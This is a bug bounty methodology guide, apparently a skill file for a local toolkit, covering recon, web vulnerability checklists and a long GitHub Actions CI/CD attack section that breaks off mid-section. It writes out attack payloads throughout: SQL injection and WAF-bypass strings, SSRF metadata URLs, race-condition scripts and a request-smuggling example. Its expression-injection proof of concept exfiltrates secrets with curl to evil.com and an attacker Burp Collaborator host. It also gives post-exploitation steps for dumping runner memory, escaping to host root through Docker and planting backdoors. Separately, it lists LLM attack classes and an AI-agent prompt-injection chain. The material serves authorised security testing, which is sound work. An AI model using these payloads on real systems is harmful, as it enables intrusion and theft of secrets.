Local Toolkit

# Bug Bounty Master Workflow

Full pipeline: Recon -> Learn -> Hunt -> Validate -> Report. One skill for everything.

> "Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions -- and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?" > > If the answer is NO -- STOP. Do not write. Do not explore further. Move on.

Theoretical Bug = Wasted Time. Kill These Immediately:

• READ FULL SCOPE FIRST -- verify every asset/domain is owned by the target org
• NO THEORETICAL BUGS -- "Can an attacker steal funds, leak PII, takeover account, or execute code RIGHT NOW?" If no, STOP.
• KILL WEAK FINDINGS FAST -- run the 7-Question Gate BEFORE writing any report
• Validate before writing -- check CHANGELOG, design docs, deployment scripts FIRST
• One bug class at a time -- go deep, don't spray
• Verify data isn't already public -- check web UI in incognito before reporting API "leaks"
• 5-MINUTE RULE -- if a target shows nothing after 5 min probing (all 401/403/404), MOVE ON
• IMPACT-FIRST HUNTING -- ask "what's the worst thing if auth was broken?" If nothing valuable, skip target
• CREDENTIAL LEAKS need exploitation proof -- finding keys isn't enough, must PROVE what they access
• STOP SHALLOW RECON SPIRALS -- don't probe 403s, don't grep for analytics keys, don't check staging domains that lead nowhere
• BUSINESS IMPACT over vuln class -- severity depends on CONTEXT, not just vuln type
• UNDERSTAND THE TARGET DEEPLY -- before hunting, learn the app like a real user
• DON'T OVER-RELY ON AUTOMATION -- automated scans hit WAFs, trigger rate limits, find the same bugs everyone else finds
• HUNT LESS-SATURATED VULN CLASSES -- XSS/SSRF/XXE have the most competition. Expand into: cache poisoning, Android/mobile vulns, business logic, race conditions, OAuth/OIDC chains, CI/CD pipeline attacks
• ONE-HOUR RULE -- stuck on one target for an hour with no progress? SWITCH CONTEXT
• TWO-EYE APPROACH -- combine systematic testing (checklist) with anomaly detection (watch for unexpected behavior)
• T-SHAPED KNOWLEDGE -- go DEEP in one area and BROAD across everything else

When you find bug A, systematically hunt for B and C nearby. This is one of the most powerful methodologies in bug bounty. Single bugs pay. Chains pay 3-10x more.

Known A->B->C Chains

Cluster Hunt Protocol (6 Steps)

1. CONFIRM A     Verify bug A is real with an HTTP request
2. MAP SIBLINGS  Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN         If sibling has different bug class, try combining A + B
5. QUANTIFY      "Affects N users" / "exposes $X value" / "N records"
6. REPORT        One report per chain (not per bug). Chains pay more.

Real Examples

Coinbase S3->Bundle->Secret->OAuth chain:

A: S3 bucket publicly listable (Low alone) B: JS bundles contain OAuth client credentials C: OAuth flow missing PKCE enforcement Result: Full auth code interception chain

Vienna Chatbot chain:

A: Debug parameter active in production (Info alone) B: Chatbot renders HTML in response (dangerouslySetInnerHTML) C: Stored XSS via bot response visible to other users Result: P2 finding with real impact

# TOP 1% HACKER MINDSET

Average hunter: Runs tools, checks checklist, gives up after 30 min. Top 1%: Builds a mental model of the app's internals. Asks "why does this work the way it does?" Not "what does this endpoint do?" but "what business decision led a developer to build it this way, and what shortcut might they have taken?"

Step 1: Crown Jewel Thinking

• Financial app -> drain funds, transfer to attacker account
• Healthcare -> PII leak, HIPAA violation
• SaaS -> tenant data crossing, admin takeover
• Auth provider -> full SSO chain compromise

Step 2: Developer Empathy

• What was the simplest implementation?
• What shortcut would a tired dev take at 2am?
• Where is auth checked -- controller? middleware? DB layer?
• What happens when you call endpoint B without going through endpoint A first?

Step 3: Trust Boundary Mapping

Client -> CDN -> Load Balancer -> App Server -> Database
         ^               ^              ^
    Where does app STOP trusting input?
    Where does it ASSUME input is already validated?

Step 4: Feature Interaction Thinking

• Does this new feature reuse old auth, or does it have its own?
• Does the mobile API share auth logic with the web app?
• Was this feature built by the same team or a third-party?

• [ ] I know the app's core business model
• [ ] I've used the app as a real user for 15+ minutes
• [ ] I know the tech stack (language, framework, auth system, caching)
• [ ] I've read at least 3 disclosed reports for this program
• [ ] I have 2 test accounts ready (attacker + victim)
• [ ] I've defined my primary target: ONE crown jewel I'm hunting for today

"Hunt the feature, not the endpoint" -- Find all endpoints that serve a feature, then test the INTERACTION between them.

"Authorization inconsistency is your friend" -- If the app checks auth in 9 places but not the 10th, that's your bug.

"New == unreviewed" -- Features launched in the last 30 days have lowest security maturity.

"Think second-order" -- Second-order SSRF: URL saved in DB, fetched by cron job. Second-order XSS: stored clean, rendered unsafely in admin panel.

"Follow the money" -- Any feature touching payments, billing, credits, refunds is where developers make the most security shortcuts.

"The API the mobile app uses" -- Mobile apps often call older/different API versions. Same company, different attack surface, lower maturity.

"Diffs find bugs" -- Compare old API docs vs new. Compare mobile API vs web API. Compare what a free user can request vs what a paid user gets in response.

# TOOLS

• strix (usestrix.com) -- open-source AI scanner for automated initial sweep

# PHASE 1: RECON

• [ ] Subdomain takeover (subjack, subzy)
• [ ] Exposed .git (/.git/config)
• [ ] Exposed env files (/.env, /.env.local)
• [ ] Default credentials on admin panels
• [ ] JS secrets (SecretFinder, jsluice)
• [ ] Open redirects (?redirect=, ?next=, ?url=)
• [ ] CORS misconfig (test Origin: https://evil.com + credentials)
• [ ] S3/cloud buckets
• [ ] GraphQL introspection enabled
• [ ] Spring actuators (/actuator/env, /actuator/heapdump)
• [ ] Firebase open read (https://TARGET.firebaseio.com/.json)

Laravel: /horizon, /telescope, /.env, /storage/logs/laravel.log WordPress: /wp-json/wp/v2/users, /xmlrpc.php, /?author=1 Node.js: /.env, /graphql (introspection), /_debug AWS Cognito: /oauth2/userInfo (leaks Pool ID), CORS reflects arbitrary origins

# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS) grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js" grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity) grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"

Language-Specific Grep Patterns

# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php" grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php" grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go" grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb" grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize" grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode" grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"

# PHASE 2: LEARN (Pre-Hunt Intelligence)

• Find disclosed report for similar tech
• Get the fix commit
• Read the diff -- identify the anti-pattern
• Grep your target for that same anti-pattern

• Feature Complexity = Bug Surface -- imports, integrations, multi-tenancy, multi-step workflows
• Developer Inconsistency = Strongest Evidence -- timingSafeEqual in one place, === elsewhere
• "Else Branch" Bug -- proxy/gateway passes raw token without validation in else path
• Import/Export = SSRF -- every "import from URL" feature has historically had SSRF
• Secondary/Legacy Endpoints = No Auth -- /api/v1/ guarded but /api/ isn't
• Race Windows in Financial Ops -- check-then-deduct as two DB operations = double-spend

# PHASE 3: HUNT

```markdown # TARGET: company.com -- SESSION 1

• [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...

• /admin -> IP restricted, confirmed by trying 15+ bypass headers

• GET /api/export returns 200 even when session cookie is missing
• Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)

• [ ] 10 min: JWT kid injection on auth endpoint

• [15:10] IDOR on /api/invoices/{id} -- read+write

• dev/staging/test: Debug endpoints, disabled auth, verbose errors
• admin/internal: Default creds, IP bypass headers (X-Forwarded-For: 127.0.0.1)
• api/api-v2: Enumerate with kiterunner, check older unprotected versions
• auth/sso: OAuth misconfigs, open redirect in redirect_uri
• upload/cdn: CORS, path traversal, stored XSS

• Build a CVE eval set -- collect 5-10 prior CVEs for the target codebase
• Reproduce old bugs -- verify you can find the pattern in older code
• Pattern-match forward -- search for the same anti-pattern in current code
• Focus on wide attack surfaces -- JS engines, parsers, anything processing untrusted external input

Panic paths: encoding vs decoding -- .unwrap() on an encoding path is NOT attacker-triggerable. Only panics on deserialization/decoding of network input are exploitable.

"Known TODO" is not a mitigation -- A comment like // Votes are not signed for now doesn't mean safe.

Pattern-based hunting from confirmed findings -- If verify_signed_vote is broken, check verify_signed_proposal and verify_commit_signature.

# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"

# VULNERABILITY HUNTING CHECKLISTS

> #1 most paid web2 class -- 30% of all submissions that get paid.

IDOR Variants (10 Ways to Test)

IDOR Testing Checklist

• [ ] Create two accounts (A = attacker, B = victim)
• [ ] Log in as A, perform all actions, note all IDs in requests
• [ ] Log in as B, replay A's requests with A's IDs using B's auth
• [ ] Try EVERY endpoint with swapped IDs -- not just GET, also PUT/DELETE/PATCH
• [ ] Check API v1/v2 differences
• [ ] Check GraphQL schema for node() queries
• [ ] Check WebSocket messages for client-supplied IDs
• [ ] Test batch endpoints (can you request multiple IDs?)
• [ ] Try adding unexpected params: ?user_id=other_user

IDOR Chains (higher payout)

• IDOR + Read PII = Medium
• IDOR + Write (modify other's data) = High
• IDOR + Admin endpoint = Critical (privilege escalation)
• IDOR + Account takeover path = Critical
• IDOR + Chatbot (LLM reads other user's data) = High

• [ ] Try cloud metadata: http://169.254.169.254/latest/meta-data/
• [ ] Try internal services: http://127.0.0.1:6379/ (Redis), :9200 (Elasticsearch), :27017 (MongoDB)
• [ ] Test all IP bypass techniques (see table below)
• [ ] Test protocol bypass: file://, dict://, gopher://
• [ ] Look in: webhook URLs, import from URL, profile picture URL, PDF generators, XML parsers

SSRF IP Bypass Table (11 Techniques)

SSRF Impact Chain

• DNS-only = Informational (don't submit)
• Internal service accessible = Medium
• Cloud metadata readable = High (key exposure)
• Cloud metadata + exfil keys = Critical (code execution on cloud)
• Docker API accessible = Critical (direct RCE)

• [ ] Missing state parameter -> CSRF
• [ ] redirect_uri accepts wildcards -> ATO
• [ ] Missing PKCE -> code theft
• [ ] Implicit flow -> token leakage in referrer
• [ ] Open redirect in post-auth redirect -> OAuth token theft chain

Open Redirect Bypass Table (11 Techniques)

Use these when chaining open redirect into OAuth code theft:

File Upload Bypass Table

Magic Bytes Reference

Type	Hex
JPEG	FF D8 FF
PNG	89 50 4E 47 0D 0A 1A 0A
GIF	47 49 46 38
PDF	25 50 44 46
ZIP/DOCX/XLSX	50 4B 03 04

• [ ] Coupon codes / promo codes
• [ ] Gift card redemption
• [ ] Fund transfer / withdrawal
• [ ] Voting / rating limits
• [ ] OTP verification brute via race

seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
  -H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait

Turbo Intruder -- Single-Packet Attack (All Requests Arrive Simultaneously)

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False,
                           engine=Engine.BURP2)
    for i in range(20):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')  # all 20 fire in a single TCP packet
def handleResponse(req, interesting):     table.add(req)

• [ ] Negative quantities in cart
• [ ] Price parameter tampering
• [ ] Workflow skip (e.g., pay without checkout)
• [ ] Role escalation via registration fields
• [ ] Privilege persistence after downgrade

XSS Sinks (grep for these)

// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)    // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent) element.src = userInput        // JavaScript URI possible element.href = userInput location.href = userInput

XSS Chains (escalate from Medium to High/Critical)

• XSS + sensitive page (banking, admin) = High
• XSS + CSRF token theft = CSRF bypass -> Critical action
• XSS + service worker = persistent XSS across pages
• XSS + credential theft via fake login form = ATO
• XSS in chatbot response = stored XSS chain

Detection

# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection '; SELECT 1/0--    # divide by zero error reveals SQLi

Modern SQLi WAF Bypass

-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1

Introspection (alone = Informational, but reveals attack surface)

{ __schema { types { name fields { name type { name } } } } }

Missing Field-Level Auth

# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }

Batching Attack (Rate Limit Bypass)

[
  {"query": "{ login(email: \"user@test.com\", password: \"pass1\") }"},
  {"query": "{ login(email: \"user@test.com\", password: \"pass2\") }"},
  "...100 more..."
]

• [ ] Prompt injection via user input passed to LLM
• [ ] Indirect injection via document/URL the AI processes
• [ ] IDOR in chat history (enumerate conversation IDs)
• [ ] System prompt extraction via roleplay/encoding
• [ ] RCE via code execution tool abuse
• [ ] ASCII smuggling (invisible unicode in LLM output)

Agentic AI Hunting (OWASP ASI01-ASI10)

When target has AI agents with tool access, these are the 10 attack classes:

• [ ] Test X-Forwarded-Host, X-Original-URL, X-Rewrite-URL -- unkeyed headers reflected in response
• [ ] Parameter cloaking (?param=value;poison=xss)
• [ ] Fat GET (body params on GET requests)
• [ ] Web cache deception (/account/settings.css -- trick cache into storing private response)
• [ ] Param Miner (Burp extension) -- auto-discovers unkeyed headers

• [ ] CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
• [ ] TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
• [ ] H2.CL: HTTP/2 downgrade smuggling
• [ ] TE obfuscation: Transfer-Encoding: xchunked, tab prefix, space prefix
• [ ] Use Burp "HTTP Request Smuggler" extension -- detects automatically

CL.TE Example

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED

• [ ] Certificate pinning bypass (Frida/objection)
• [ ] Exported activities/receivers (AndroidManifest.xml)
• [ ] Deep link injection
• [ ] Shared preferences / SQLite in cleartext
• [ ] WebView JavaScript bridge
• [ ] Mobile API often uses older/different API version than web

> Tooling: Use [sisakulint](https://sisaku-security.github.io/lint/) for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install: brew install sisakulint or download binary from releases. > > Quick scan: sisakulint scan .github/workflows/ — flags Critical/High issues with auto-fix suggestions. > Remote scan: sisakulint scan --remote owner/repo — scan without cloning.

Recon: Finding Workflow Files

# Clone target's public repos, then:
find . -name "*.yml" -path "*/.github/workflows/*" | head -50
# Quick grep for dangerous patterns: grep -rn "pull_request_target\|workflow_run" .github/workflows/ grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/ grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/ grep -rn 'secrets\.\|secrets: inherit' .github/workflows/
# Run sisakulint on all workflows: sisakulint scan .github/workflows/

Category 1: Code Injection & Expression Safety (CICD-SEC-04)

Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.

Taint sources (attacker-controlled):

github.event.issue.title / .body github.event.pull_request.title / .body / .head.ref github.event.comment.body github.event.review.body github.event.pages.*.page_name github.event.commits.*.message / .author.name github.event.head_commit.message / .author.name github.event.workflow_run.head_branch github.head_ref

• [ ] Expression injection — ${{ github.event.issue.title }} in run: block = RCE

  # VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) #
  run: echo "${{ github.event.issue.title }}"
# FIXED — use env var (shell-quoted, not expression-interpolated)   env:     TITLE: ${{ github.event.issue.title }}   run: echo "$TITLE"

• [ ] Environment variable injection — untrusted input → $GITHUB_ENV

  # VULNERABLE — attacker injects newline + arbitrary VAR=VALUE   run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV

# FIXED — use heredoc delimiter   run: |     {       echo "BRANCH<<EOF"       echo "${{ github.head_ref }}"       echo "EOF"     } >> $GITHUB_ENV

• [ ] PATH injection — untrusted input → $GITHUB_PATH = arbitrary binary execution
• [ ] Output clobbering — untrusted input → $GITHUB_OUTPUT without heredoc delimiter = downstream job manipulation
• [ ] Argument injection — untrusted input as CLI argument (e.g., docker run ${{ ... }})

  # VULNERABLE   run: docker run ${{ github.event.pull_request.body }}

# FIXED — end-of-options marker + env var   env:     INPUT: ${{ github.event.pull_request.body }}   run: docker run -- "$INPUT"

• [ ] Request forgery (SSRF) — attacker-controlled URL in curl/wget within workflow

Category 2: Pipeline Poisoning & Untrusted Checkout

Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.

• [ ] Untrusted checkout — actions/checkout on pull_request_target without explicit safe ref

  # VULNERABLE — checks out attacker's PR code with repo secrets
  on: pull_request_target
  jobs:
    build:
      steps:
        - uses: actions/checkout@v4
          with:
            ref: ${{ github.event.pull_request.head.sha }}  # ATTACKER CODE
        - run: make build  # runs attacker's Makefile with secrets
# FIXED — only checkout base branch, or use read-only permissions   permissions: {}   steps:     - uses: actions/checkout@v4  # checks out base branch by default

• [ ] TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
• [ ] Reusable workflow taint — secrets: inherit passes all secrets to called workflow that processes untrusted input
• [ ] Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
• [ ] Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
• [ ] Artifact poisoning — actions/download-artifact from untrusted workflow_run without validation

  # VULNERABLE — downloads artifact from untrusted workflow, then executes it   on: workflow_run   steps:     - uses: actions/download-artifact@v4     - run: ./downloaded-binary  # attacker-controlled binary

# FIXED — verify artifact hash/signature before execution

• [ ] Artipacked — actions/checkout with persist-credentials: true (default) leaks .git/config credentials in uploaded artifacts

  # FIXED   - uses: actions/checkout@v4     with:       persist-credentials: false

Category 3: Supply Chain & Dependency Security (CICD-SEC-08)

• [ ] Unpinned actions — uses: actions/checkout@v4 (mutable tag) instead of SHA pin

  # VULNERABLE — tag can be force-pushed
  uses: actions/checkout@v4
# FIXED — pinned to immutable commit SHA   uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

• [ ] Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
• [ ] Ref confusion — ambiguous tag/branch names exploited to load unintended action version
• [ ] Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
• [ ] Archived actions — unmaintained action with unpatched vulnerabilities
• [ ] Unpinned container images — image: ubuntu:latest instead of SHA256 digest pin

Category 4: Credential & Secret Protection

• [ ] Secret exfiltration — curl https://evil.com/${{ secrets.TOKEN }} in workflow
• [ ] Secrets in artifacts — uploaded artifacts contain .env, credentials, or hidden files

  # FIXED — exclude hidden files
  - uses: actions/upload-artifact@v4
    with:
      include-hidden-files: false

• [ ] Unmasked secrets — fromJson() derived values bypass GitHub's automatic masking

  # FIXED — manually mask derived secrets
  run: |
    TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token')
    echo "::add-mask::$TOKEN"

• [ ] Excessive secrets: inherit — reusable workflow call inherits all secrets when it only needs one
• [ ] Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML

Category 5: Triggers & Access Control (CICD-SEC-01)

• [ ] Dangerous triggers without mitigation — pull_request_target or workflow_run with no permissions: {}, no approval gate, no ref restriction
• [ ] Dangerous triggers with partial mitigation — some protections present but bypassable
• [ ] Label-based approval bypass — if: contains(github.event.pull_request.labels.*.name, 'approved') is spoofable (attacker can add labels)
• [ ] Bot condition spoofing — if: github.actor != 'dependabot[bot]' is trivially bypassed by naming account similarly
• [ ] Excessive GITHUB_TOKEN permissions — permissions: write-all when only contents: read needed
• [ ] Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
• [ ] OIDC token theft — CI runners expose OIDC tokens that grant cloud access

Category 6: AI Agent Security (NEW — 2025+)

• [ ] Unrestricted AI trigger — allowed_non_write_users: "*" lets any user trigger AI agent execution
• [ ] Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
• [ ] Prompt injection via workflow context — ${{ github.event.issue.body }} interpolated into AI agent prompt parameter

Hunting Workflow

1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
   a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
   b. What secrets are accessible? (check permissions: block, secrets usage)
   c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering

Expression Injection PoC Template

# Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
# Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated # CVSS: 9.3 Critical (RCE with repo secrets)

Real-World GHSAs (Proven Payouts)

A→B Signal: CI/CD Chains

Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot

Deep-Dive: From sisakulint Finding to Bounty Report

sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.

1. Code Injection / Argument Injection

Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?

Verification depth:

• Trigger accessibility — issues: opened and issue_comment: created are triggerable by ANY GitHub user. pull_request_target is triggerable via fork PR. Check if there's an if: condition filtering by actor/association.
• Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because cherry-picker.yml passed ${{ github.event.issue.title }} via with: to a composite action in another repo (bazelbuild/continuous-integration). The composite action's action.yml had run: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't follow uses: into external composite actions. Always fetch and read the composite action's action.yml.
• Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used ${IFS} (Internal Field Separator) and Bash brace expansion {curl,-sSfL,URL} to bypass this. Issue titles/bodies have no such restriction.
• Secrets reachability — Check permissions: at workflow AND job level. No explicit permissions: block = repo default (often write-all). Check env: blocks for ${{ secrets.* }}. Check if GITHUB_TOKEN has write permissions.
• Impact chain — Bazel: issue title injection → composite action shell injection → BAZEL_IO_TOKEN + GITHUB_TOKEN (write-all) → Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).

2. Untrusted Checkout (Pwn Request)

Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?

Verification depth:

• Explicit vs implicit code execution — The Flank $7.5K bug: gh pr checkout → gradle/gradle-build-action runs Gradle → Gradle auto-evaluates settings.gradle.kts as Kotlin script. The attacker never wrote a run: command. Any build tool that reads config from the repo is an execution vector: Makefile, package.json (postinstall scripts), setup.py, build.gradle.kts, .cargo/config.toml, Gemfile.
• Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft: issue_comment trigger + refs/pull/${{ github.event.issue.number }}/head checkout. issue_comment runs in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.
• Self-hosted runner escalation — If runs-on: contains self-hosted, check: (a) Is the runner ephemeral? (--ephemeral in config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner: RUNNER_TRACKING_ID=0 + install attacker's runner agent) → wait for privileged workflow → steal PATs from .git/config or process memory.
• TOCTOU — Label-gated pull_request_target workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The ref: at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.sha at trigger time vs checkout time) are the root cause.
• Post-exploitation — After initial access, enumerate all secrets: env | base64, cat /proc/self/environ, gcore $(pgrep Runner.Worker) + strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.

3. Artifact Poisoning

Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?

Verification depth:

• Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is: pull_request workflow uploads → separate workflow_run workflow downloads. workflow_run triggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.
• Download path matters — actions/download-artifact with path: . or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to ${{ runner.temp }}/artifacts.
• Source validation — Does the workflow_run consumer check github.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.
• ArtiPACKED (persist-credentials) — actions/checkout defaults to persist-credentials: true. This writes GITHUB_TOKEN to .git/config. If the artifact upload path includes .git/ (e.g., path: .), the token is publicly downloadable from the Actions artifact. Check: does any upload-artifact step use path: . or a broad path that includes .git/?

4. Cache Poisoning

Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?

CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.

Verification depth:

• Key predictability — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} is fully predictable. Adding github.sha or github.run_id to the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.
• Cache hierarchy exploitation — workflow_run and workflow_dispatch workflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. The run-dashboard-search-e2e.yml pattern: workflow_run trigger → actions/cache with hashFiles() key → all PR workflows read this cache.
• Payload injection — Cacheract: inject malware into package manager caches (node_modules/.cache, ~/.cache/pip, ~/.gradle/caches). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.
• Privileged consumption — The cache is restored in a push or schedule workflow on the default branch. These workflows have full secrets access. The poisoned dependency executes during npm install / pip install / gradle build and exfiltrates secrets.
• Clinejection chain — Prompt injection → AI agent runs npm install from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.

5. Self-Hosted Runners

Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?

Verification depth:

• Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
• Runner persistence — Non-ephemeral runners retain state between jobs. RUNNER_TRACKING_ID=0 prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup.
• Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
• Lateral movement — RoR persistence → wait for privileged push/schedule workflows → steal tokens from .git/config, $GITHUB_ENV, /proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access → pip install pytorch supply chain.
• Docker group escalation — docker run -v /:/host --privileged alpine chroot /host → full host root. Add SSH keys, modify sudoers, install persistent backdoors.

6. Supply Chain (commit-sha / impostor-commit / ref-confusion)

Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?

Verification depth:

